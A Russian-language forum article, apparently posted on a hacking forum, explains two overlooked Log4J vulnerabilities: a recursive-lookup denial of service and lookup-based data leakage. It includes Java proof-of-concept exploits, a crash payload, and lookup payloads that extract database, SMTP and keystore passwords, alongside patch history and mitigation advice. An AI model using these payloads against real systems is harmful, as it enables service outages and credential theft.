• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Разбираем две уязвимости, оставшиеся в тени

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,166
Розыгрыши
0
Реакции
508
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Еще в декабре 2021-го, когда были найдены и закрыты четыре уязвимости Log4shell в Log4J, оказалось, что их на самом деле больше. Две из них — отказ в обслуживании и утечка данных — тогда широко известны не были. Лишь в сентябре 2022 года вендор официально признал их, но представил как часть тех самых четырех исходных багов. Поэтому патчей и новых CVE всем этим багам не положено.

info​

Это близкий к тексту пересказ поста Для просмотра ссылки Войди или Зарегистрируйся из блога Для просмотра ссылки Войди или Зарегистрируйся. Весь текст статьи доступен для чтения без платной подписки.
Ранее рекомендуемые меры предосторожности вроде удаления класса JNDiLookup, для решения этих проблем не работают. Надо обновиться до версии с патчем при первой же возможности, если ты еще используешь старые методы. Системы, которые дают доступ к конфигам Log4J, пока остаются уязвимыми.



Log4J, Log4Shell и родственные уязвимости (CVE)​

Логирование — это не просто какая‑то прихоть, а настоящая необходимость в софте. В Java появился API для логирования еще с версии 1.4 в 2002-м, но Log4J начал набирать популярность с 1999-го и давал фору по фичам. Из всех вариантов он стал самым популярным и используется во множестве приложений на Java.

В декабре 2021-го в Log4J обнаружили кучу серьезных уязвимостей. Самая критичная открывала дорогу для удаленного выполнения кода.

Сюда входят:

  • Для просмотра ссылки Войди или Зарегистрируйся (CVSS 10.0), также известная как Log4Shell – позволяет выполнять lookup-выражения в данных, которые записываются в логах, что раскрывает уязвимость JNDI.
  • Для просмотра ссылки Войди или Зарегистрируйся (CVSS 10.0) – когда в настройках логирования используется нестандартный паттерн с Context Lookup (например, $${ctx:loginId}), злоумышленник, контролирующий входные данные Thread Context Map (MDC), может создать вредоносные данные, используя шаблон JNDI Lookup.
  • Для просмотра ссылки Войди или Зарегистрируйся (CVSS 6.6) – злоумышленник, имеющий право изменять файл конфигурации логирования, может создать вредоносную конфигурацию, используя JDBC Appender с источником данных, ссылающимся на JNDI URI.
  • Для просмотра ссылки Войди или Зарегистрируйся (CVSS 5.9) – не защищает от неконтролируемой рекурсии при самоссылающихся запросах. Если в настройках логирования используется нестандартный паттерн с Context Lookup (например, $${ctx:loginId}), злоумышленник, контролирующий входные данные Thread Context Map (MDC), может создать вредоносные данные с рекурсивным запросом, что вызовет StackOverflowError и остановит процесс.
Хронология раскрытия уязвимостей
Хронология раскрытия уязвимостей

Эти четыре проблемы возникли из‑за алгоритма поиска строк, который позволял злоумышленникам встраивать непроверенные данные в приложение и эксплуатировать уязвимости, похожие на SQL-инъекции. Самая опасная из них – возможность загрузки кода с удаленного сервера через JNDI и его выполнение. Да, ты угадал, речь о Log4Shell!

Пример полезной нагрузки для Log4shell через JNDI lookup
Пример полезной нагрузки для Log4shell
через JNDI lookup
Иллюстрация схемы атаки через Log4J
Иллюстрация схемы атаки через Log4J

Заплатки выходили по графику, представленному в таблице.

ДатаВерсияИсправленные CVEПримечания
2021-12-102.15.0CVE-2021-44228Исправлена основная уязвимость Log4Shell, отключает лукапы, но их можно снова включить через параметр
2021-12-132.16.0CVE-2021-45046Исправлена проблема с контекстными лукапами; отключает лукапы для записанных данных
2021-12-182.17.0CVE-2021-45105Исправлена проблема отказа в обслуживании; отключает большинство рекурсивных лукапов
2021-12-282.17.1CVE-2021-44832Исправлена проблема с файлом конфигурации; ограничивает URL контекста JNDI до java

info​

Сразу после первых двух обновлений команда Corretto из Amazon выпустила хотфикс для исправления этих двух уязвимостей. Заплатка может быть применена на лету к работающей JVM в виде агента (подробности в Для просмотра ссылки Войди или Зарегистрируйся и на Для просмотра ссылки Войди или Зарегистрируйся). Другие проблемы этим патчем не решаются.
На декабрь 2021 года в Apache рекомендовали следующие меры предосторожности для тех, кто не может обновиться (подробнее смотри на Для просмотра ссылки Войди или Зарегистрируйся):

  • Проблемы с Log4Shell (CVE-2021-44228 и CVE-2021-45046) — удали класс JndiLookup из classpath. Если у тебя версия Log4j ниже 2.16.0, просто убери JndiLookup из classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. Также обрати внимание на вариант с хотпатчем выше.
Для решения вопросов, связанных с контекстом (CVE-2021-45046 и CVE-2021-45105):

  • В конфиге журналирования в разделе PatternLayout замени вызовы Context Lookups типа ${ctx:loginId} или $${ctx:loginId} на паттерны Thread Context Map (%X, %mdc или %MDC).
  • Если это не вариант, просто убери всякие упоминания Context Lookups вроде ${ctx:loginId} или $${ctx:loginId}, которые берут данные из внешних источников, таких как HTTP-заголовки или пользовательский ввод.

Строковая интерполяция и Java EE: точки пересечения​

Одна из фишек Log4J и прочих Java-библиотек — это замены свойств (они же подстановки). Они позволяют заменять плейсхолдеры вроде ${xxx:yyy} на другие значения, аналогично тому, как это происходит в bash и прочих языках. В Log4J такие штуки добавили, чтобы упростить настройку, и изначально их использовали в конфигурационных файлах, а не в логируемых данных. Для просмотра ссылки Войди или Зарегистрируйся в Log4J с версией 2.0 в октябре 2010 года.

В какой‑то момент фичу изменили, чтобы позволить подстановки во входящих данных, которые записываются в лог (скорее всего, это произошло в октябре 2011 года). Со временем стали добавляться новые классы подстановок. Для просмотра ссылки Войди или Зарегистрируйся в июле 2013-го. А код JNDI ведет свое начало от Java EE из 90-х.

Если же эту фичу использовать не по назначению, она может стать настоящей головной болью для безопасников. Виной всему — нестыковка множества систем, которые вообще‑то не стоило бы друг с другом соединять:

  • поиск строк в конфиге;
  • обработка входящих логов с небезопасными данными;
  • старый Java EE/JNDI-код из 90-х.
Для просмотра ссылки Войди или Зарегистрируйся
Вот код из класса Для просмотра ссылки Войди или Зарегистрируйся, который обрабатывает входящие сообщения журнала. Как видно, он ищет символ доллара и переадресует вызов классу StrSubstitutor.

Код:
for (int i = offset; i < workingBuilder.length() - 1; i++) {
  if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
    final String value = workingBuilder.substring(offset, workingBuilder.length());
    workingBuilder.setLength(offset);
    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
  }
}
В Log4J класс StrSubstitutor — это главный вход для всяких lookup-функций. Он опирается на интерфейс StrLookup, который реализован множеством классов, каждый из которых тянет свой тип лукапа (большинство из них обитает в пакете Для просмотра ссылки Войди или Зарегистрируйся). Вся эта компания подключается через Для просмотра ссылки Войди или Зарегистрируйся, создавая коннекты с другими компонентами (кстати, кастомные лукапы тоже поддерживаются). Один из методов поиска предоставляет поддержку Java Naming and Directory Interface (JNDI) — это реализовано в классе JNDILookup.

Ниже — интерфейс Для просмотра ссылки Войди или Зарегистрируйся и простой вариант поиска:

Код:
public interface StrLookup {
    String CATEGORY = "Lookup";
    String lookup(LogEvent event, String key);
}
Этот код в классе Для просмотра ссылки Войди или Зарегистрируйся прокладывает мост между поисковыми операциями и устаревшим кодом JNDI (Java EE), который все еще таится в недрах Java:

Код:
public String lookup(final LogEvent event, final String key) {
    if (key == null) {
      return null;
    }
    final String jndiName = convertJndiName(key);
    try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
      return Objects.toString(jndiManager.lookup(jndiName), null);
    } catch (final NamingException e) {
...

Уязвимость 1: отказ в обслуживании​

Многие типы строкового поиска в Log4J рекурсивны и могут быть вложены друг в друга (код можешь посмотреть Для просмотра ссылки Войди или Зарегистрируйся).

Каждая вложенная функция использует часть памяти стека Java, которая отличается от основной памяти (кучи), используемой для большинства процессов. Настраивается эта память параметром -Xss и в зависимости от твоей ОС и версии Java может варьироваться от одного мегабайта до одного гигабайта. Если переборщишь и превысишь этот лимит, тебя ожидает StackOverFlowError.

Хотя в Для просмотра ссылки Войди или Зарегистрируйся упоминаются рекурсивные запросы, считалось, что эта уязвимость возникает лишь при нестандартных настройках, где используются контекстные вызовы. Но, как оказалось, проблему можно использовать и на стандартных настройках, отправив системе вредоносный пакет, который она попытается залогировать.

Этот баг пофиксили, отключив вызовы, но предыдущие версии и любые системы, использующие настройки Log4J, остаются уязвимыми в стандартных конфигурациях. Если отправить рекурсивный пейлоад на уязвимую систему, Log4J будет обрабатывать его до тех пор, пока у приложения не закончится память стека.

Размер стека в Java можно проверить с помощью такой команды:

java -XX:+PrintFlagsFinal -version | grep \ ThreadStackSize
intx ThreadStackSize = 1024
Атака проводится «вслепую» и не требует получения никакой обратной связи от системы.

Для просмотра ссылки Войди или Зарегистрируйся
Размер полезной нагрузки, который может валить JVM, зависит от настройки памяти стека. Ниже перечислены размеры полезной нагрузки, которые были протестированы на JDK 17.

Размер памяти стека (-Xss)Количество вложенных циклов до сбояРазмер пейлоада
144 Кбайт (минимум)1001 Кбайт
1 024 Кбайт (по умолчанию)3 00027 Кбайт
1 Гбайт (максимум)18 000162 Кбайт

Пример эксплоита​

Код для проверки возможности эксплуатации:

Код:
import org.apache.logging.log4j.LogManager;

public class Test {
   public static void main(String[] args) {
     int rounds = 100;
     String payload = "${lower:".repeat(rounds) +
                      "${java:runtime}" +
                      "}".repeat(rounds);
     System.out.println("Payload size: " + payload.length());
     LogManager.getRootLogger().error(payload);
    }
}

Пример пейлоада:

Код:
${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${lower:${java:runtime}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} }}}}}}}}}}}}}}}}}}}}}}}}}}

В обычной версии внутренний поиск (${java:runtime}) вернет информацию о сборке JVM, а внешние поиски (${lower:xxx}) превратят эту инфу в нижний регистр. Вот так:

Payload size: 915
22:25:59.991 [main] ERROR - openjdk runtime environment (build 17.0.7+7-lts)
Но если у тебя Java с недостатком памяти и уязвимой версией Log4J, все накроется медным тазом примерно так:

Код:
Payload size: 915
Exception in thread "main" java.lang.StackOverflowError at java.base/java.lang.AbstractStringBuilder.checkRangeSIOOBE(AbstractStringBuilder.java:1809) at java.base/java.lang.AbstractStringBuilder.getChars(AbstractStringBuilder.java:508) at java.base/java.lang.StringBuilder.getChars(StringBuilder.java:91) at org.apache.logging.log4j.core.lookup.StrSubstitutor.getChars(StrSubstitutor.java:1401) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:939) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:978)

Уязвимость 2: утечка данных​

Оказалось, что JNDI-запросы — настоящие бомбы замедленного действия, но это всего лишь один из многих типов запросов, которые доступны в Log4J. Исправления для уязвимости Log4Shell отключают интерполяцию запросов в логах, однако в версиях до 2.15 все еще доступны все типы запросов.

Даже сегодня в последних версиях запросы можно использовать в конфигах — и это относится к самым свежим версиям Log4J (поскольку доступ к настройкам не входит в модель угроз проекта). Более того, запросы остаются доступными, даже если класс JNDILookup удален (это было рекомендованным способом минимизации угрозы без обновления библиотеки).

В этих трех сценариях (версии до 2.15, версии с удаленным классом JNDILookup и любые версии с доступом к конфигам) другие типы запросов все еще активны и могут слить информацию о системе.

В Log4J доступны следующие типы подстановок (подробнее можно почитать в Для просмотра ссылки Войди или Зарегистрируйся):

ПаттернОписаниеПаттернОписание
${bundle:xxx:xxx}Ресурсные бандлы${log4j:xxx}Настройки Log4J
${ctx:xxx}Карта контекста потока${lower:xxx}Преобразует в нижний регистр
${date:xxx}Дата/время${main:xxx}Аргументы для исполняемых файлов / main()
${docker:xxx}Атрибуты Docker${map:xxx}Поиск по карте
${env:xxx}Переменные окружения${marker:xxx}Маркеры
${event:xxx}Поля объекта события в логе${spring:xxx}Свойства Spring
${java:xx}Информация о Java runtime${sd:xxx}Структурированные данные
${jndi:xxx}Удаленные вызовы JNDI${sys:xxx}Свойства системы
${jvmrunargs:xxx}Аргументы JVM (только JMX)${upper:xxx}Преобразует в верхний регистр
${k8s:xxx}Информация о контейнере Kubernetes${web:xxx}Переменные/атрибуты контекста сервлета
Многие доступные функции поиска возвращают такие данные, как переменные окружения, системные свойства, Spring-параметры, информация о выполнении, секреты и тому подобное. Такие штуки, как атрибуты выполнения, могут использоваться для начальной разведки. Но есть нюанс: большинство из них не поддерживает подстановочные знаки — нужно точно знать имя переменной или свойства, которое ты хочешь вытащить.

Чтобы прочитать информацию из этих запросов, нужен доступ к логам. Таким образом, злоумышленник не сможет провернуть атаку вслепую. Ситуации, когда доступ возможен, это, например, сообщения об ошибках или облачные/SAAS-приложения, где пользователи могут смотреть логи.

Для просмотра ссылки Войди или Зарегистрируйся

Пример эксплуатации​

В таблице — примеры полезных нагрузок.

ШаблонОписание
${env:pOSTGRES_PASSWORD}Пароль от Postgres, который хранится в переменной среды
${log4j:log4j2.trustStorePassword}Пароль хранилища ключей из свойств Log4J
${spring:spring.mail.password}Пароль SMTP из Spring
${docker:containerName}Имя контейнера в Docker
${k8s:masterUrl}URL мастера Kubernetes
${java:runtime}Информация о среде выполнения JVM
Код для проверки эксплоита:

Код:
import org.apache.logging.log4j.LogManager;

public class Test2 {
   public static void main(String[] args) {
     String payload = "${java:runtime}";
     LogManager.getRootLogger().error(payload);
   }
}

В обновленной версии такой лукап работать не будет: по умолчанию все запросы отрубаются, так что на выходе получишь только следующее сообщение:

javac -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar Test2.java> java -classpath log4j-api-2.20.0.jar:log4j-core-2.20.0.jar:. Test2
12:39:48.062 [main] ERROR - ${java:runtime}
В уязвимой версии Log4J можно с помощью специального лукапа вытащить инфу о системе:

javac -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Test2.java> java -classpath log4j-api-2.14.1.jar:log4j-core-2.14.1.jar:. Test2
12:39:19.843 [main] ERROR - OpenJDK Runtime Environment (build 17.0.8+7-LTS)

Ответ производителя​

Apache и проект Log4J засветили эту проблему еще в сентябре 2022-го с выходом версии Log4J 2.19 — через обновление страницы безопасности (Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся). Разработчики Log4J сочли это частью Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся, а также учтенной в прошлых релизах, так что новых CVE уязвимостям не выдавали и код не меняли. На момент написания этой статьи (июнь 2025-го) описания CVE еще не полностью обновлены в базе NVD/CVE, но уже есть на странице безопасности Log4J. А вот предыдущая инфа о том, как убрать класс JNDILookup, с этой странице исчезла.

info​

Код:
Многие вендоры, использующие Log4J в своих продуктах, громко заявляли, что убрали класс JNDILookup для защиты. Но если они не перешли на новые версии, то их софт еще уязвим к проблемам, описанным в этой статье. Да и последние версии не спасают, если кто‑то имеет доступ к конфигам Log4J.

Уязвимые версии и способы защиты​

Под ударом оказались следующие версии Log4J:

  • Все версии Log4J v2 до v2.15, кроме v2.12.2-4 (Java 7) и v2.3.1-2 (Java 6).
  • В v2.15, v2.12.2 (Java 7) и v2.3.1 (Java 6) поиск в логах по умолчанию отключен, но его можно активировать снова. Если снова включить поиск или использовать контекстные поиски (CVE-2021-45046), то эти версии уязвимы.
  • Версии от v2.16+, v2.12.3+ (Java 7) и v2.3.2 (Java 6) остаются уязвимыми, если предоставлен доступ к конфигурационным файлам.
  • Log4J v1 не подвержен уязвимости, кроме случаев, когда используется JMSAppender (см. Для просмотра ссылки Войди или Зарегистрируйся).
Пользователям стоит обновиться до версии, которая полностью отключает обращения к логам — это v2.16+, v2.12.3 (для Java 7) или v2.3.2 (для Java 6). Также не забудь обновить инструменты вроде WAF и IDS-систем, чтобы они отслеживали подозрительные шаблоны и быстро выявляли такие проблемы.

Если ты не можешь обновиться, то прежние рекомендации разработчика не спасут от этих багов. И хотя теоретически можно откатить существующие патчи, чтобы отключить лукапы, этого лучше не делать. Прочие публичные заплатки, вроде упомянутого выше Java hotpatch agent, эти проблемы тоже не решают.

Доступ к конфигам Log4J лучше в корне пресечь — лукапы все еще работают в конфигах, и это может стать лазейкой для атак. Правда, с февраля 2023 года, как заявили в Apache, находки, связанные с доступом к конфигурации Log4J, больше не считаются уязвимостями. Но это не значит, что можно расслабиться!
 
Activity
So far there's no one here
Сверху Снизу